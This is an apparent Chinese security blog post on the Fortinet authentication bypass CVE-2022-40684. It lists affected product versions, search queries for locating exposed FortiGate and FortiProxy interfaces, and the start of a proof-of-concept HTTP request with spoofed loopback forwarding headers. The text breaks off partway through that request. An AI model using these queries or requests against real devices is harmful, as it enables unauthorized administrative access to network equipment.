CVE-2022-40684 Fortinet（飞塔）身份验证绕过漏洞

原创

已于 2022-11-05 14:15:45 修改 · 7.1k 阅读

1 ·

CC 4.0 BY-SA版权

文章标签：

#web安全 #CVE-2022-40684 #飞塔身份验证绕过漏洞

于 2022-10-31 14:27:20 首次发布

本文介绍了Fortinet（飞塔）产品的身份验证绕过漏洞。受影响产品包括FortiOS、FortiProxy和FortiSwitchManager，给出了影响版本。还提供搜索语法、Poc和Exp数据包，进行了漏洞复现，最后给出防护建议，如升级版本、设置WAF策略。

GitHub地址：

https://github.com/hughink/CVE-2022-40684

漏洞简介

Fortinet（飞塔）是一家全球知名的网络安全产品和安全解决方案提供商，其产品包括防火墙、防病毒软件、入侵防御系统和终端安全组件等。在受影响的FortiOS、FortiProxy 和 FortiSwitchManager产品的管理界面中，可以通过使用备用路径或通道绕过身份验证，并在未经认证的情况下通过特制的HTTP或HTTPS请求对管理界面进行操作。

影响版本

FortiOS 版本 7.2.0 - 7.2.1
FortiOS 版本 7.0.0 - 7.0.6
FortiProxy 版本 7.2.0
FortiProxy 版本 7.0.0 - 7.0.6
FortiSwitchManager 版本 7.2.0
FortiSwitchManager 版本 7.0.0

搜索语法

title="FortiProxy"

title="FortiGate"

Poc数据包

GET /api/v2/cmdb/system/admin HTTP/2Host: 35.192.137.121User-Agent: Node.jsAccept-Encoding: gzip, deflateAccept: */*Hosts: 127.0.0.1:9980Forwarded: by="[127.0.0.1]:80";for="[127.